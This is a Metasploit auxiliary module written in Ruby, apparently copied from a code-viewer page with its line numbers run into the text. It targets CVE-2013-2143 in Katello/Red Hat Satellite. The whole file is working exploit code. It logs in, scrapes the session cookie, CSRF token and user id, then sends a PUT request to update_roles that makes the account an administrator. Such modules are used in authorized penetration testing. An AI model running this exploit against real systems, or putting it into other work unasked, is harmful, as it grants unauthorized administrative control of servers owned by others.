Path: blob/master/modules/auxiliary/admin/http/katello_satellite_priv_esc.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient78def initialize9super(10'Name' => 'Katello (Red Hat Satellite) users/update_roles Missing Authorization',11'Description' => %q{12This module exploits a missing authorization vulnerability in the13"update_roles" action of "users" controller of Katello and Red Hat Satellite14(Katello 1.5.0-14 and earlier) by changing the specified account to an15administrator account.16},17'Author' => 'Ramon de C Valle',18'License' => MSF_LICENSE,19'References' => [20['CVE', '2013-2143'],21['CWE', '862'],22['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=970849']23],24'DisclosureDate' => 'Mar 24 2014',25'Notes' => {26'Stability' => [CRASH_SAFE],27'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES],28'Reliability' => []29}30)3132register_options(33[34Opt::RPORT(443),35OptBool.new('SSL', [true, 'Use SSL', true]),36OptString.new('USERNAME', [true, 'Your username']),37OptString.new('PASSWORD', [true, 'Your password']),38OptString.new('TARGETURI', [ true, 'The path to the application', '/']),39]40)41end4243def run44print_status("Logging into #{target_url}...")45res = send_request_cgi(46'method' => 'GET',47'uri' => normalize_uri(target_uri.path, 'user_session', 'new'),48'vars_get' => {49'username' => datastore['USERNAME'],50'password' => datastore['PASSWORD']51}52)5354if res.nil?55print_error('No response from remote host')56return57end5859if res.headers['Location'] =~ %r{user_session/new$}60print_error('Authentication failed')61return62else63session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/6465if session.nil?66print_error('Failed to retrieve the current session')67return68end69end7071print_status('Retrieving the CSRF token for this session...')72res = send_request_cgi(73'cookie' => "_katello_session=#{session}",74'method' => 'GET',75'uri' => normalize_uri(target_uri.path, 'dashboard')76)7778if res.nil?79print_error('No response from remote host')80return81end8283if res.headers['Location'] =~ %r{user_session/new$}84print_error('Authentication failed')85return86else87session = ::Regexp.last_match(1) if res.get_cookies =~ /_katello_session=(\S*);/8889if session.nil?90print_error('Failed to retrieve the current session')91return92end93end9495if res.headers['Location'] =~ %r{user_session/new$}96print_error('Failed to retrieve the user id')97return98else99csrf_token = ::Regexp.last_match(1) if res.body =~ %r{<meta +content="(\S*)" +name="csrf-token" */?>}i100if csrf_token.nil? && (res.body =~ %r{<meta +name="csrf-token" +content="(\S*)" */?>}i)101csrf_token = ::Regexp.last_match(1)102end103104if csrf_token.nil?105print_error('Failed to retrieve the CSRF token')106return107end108109user = ::Regexp.last_match(1) if res.body =~ %r{/users.(\d+)#list_search=#{datastore['USERNAME']}}110111if user.nil?112print_error('Failed to retrieve the user id')113return114end115end116117print_status("Sending update-user request to #{target_url('users', user, 'update_roles')}...")118res = send_request_cgi(119'cookie' => "_katello_session=#{session}",120'headers' => {121'X-CSRF-Token' => csrf_token122},123'method' => 'PUT',124'uri' => normalize_uri(target_uri.path, 'users', user, 'update_roles'),125'vars_post' => {126'user[role_ids][]' => '1'127}128)129130if res.nil?131print_error('No response from remote host')132return133end134135if res.headers['X-Message-Type'] =~ /success$/136print_good('User updated successfully')137else138print_error('Failed to update user')139end140end141142def target_url(*args)143(ssl ? 'https' : 'http') +144if rport.to_i == 80 || rport.to_i == 443145"://#{vhost}"146else147"://#{vhost}:#{rport}"148end + normalize_uri(target_uri.path, *args)149end150end151152153